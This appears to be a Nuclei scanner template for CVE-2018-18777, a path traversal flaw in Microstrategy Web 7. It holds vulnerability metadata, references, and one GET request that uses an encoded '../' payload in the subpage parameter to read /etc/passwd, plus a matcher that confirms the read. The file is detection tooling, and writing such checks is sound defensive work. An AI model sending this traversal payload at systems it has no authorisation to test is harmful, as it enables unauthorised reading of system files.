id: CVE-2018-18777 info: name: Microstrategy Web 7 - Local File Inclusion author: 0x_Akoko severity: medium description: | Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product. remediation: | Apply the latest security patches or upgrade to a newer version of Microstrategy Web. reference: - https://www.exploit-db.com/exploits/45755 - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html - https://nvd.nist.gov/vuln/detail/CVE-2018-18777 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N cvss-score: 4.3 cve-id: CVE-2018-18777 cwe-id: CWE-22 epss-score: 0.00224 epss-percentile: 0.60429 cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:* metadata: max-request: 1 vendor: microstrategy product: microstrategy_web tags: traversal,edb,packetstorm,cve,cve2018,microstrategy,lfi http: - method: GET path: - "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a004630440220089f3b32810584305e265ba88c1b00e0fa8afdee7896a610e6c5bb26673cfdad022042ab76643d4c5f021fb6075dd97797ce6e75f93681fcb22f86f3088929a980ff:922c64590222798bb761d5b6d8e72950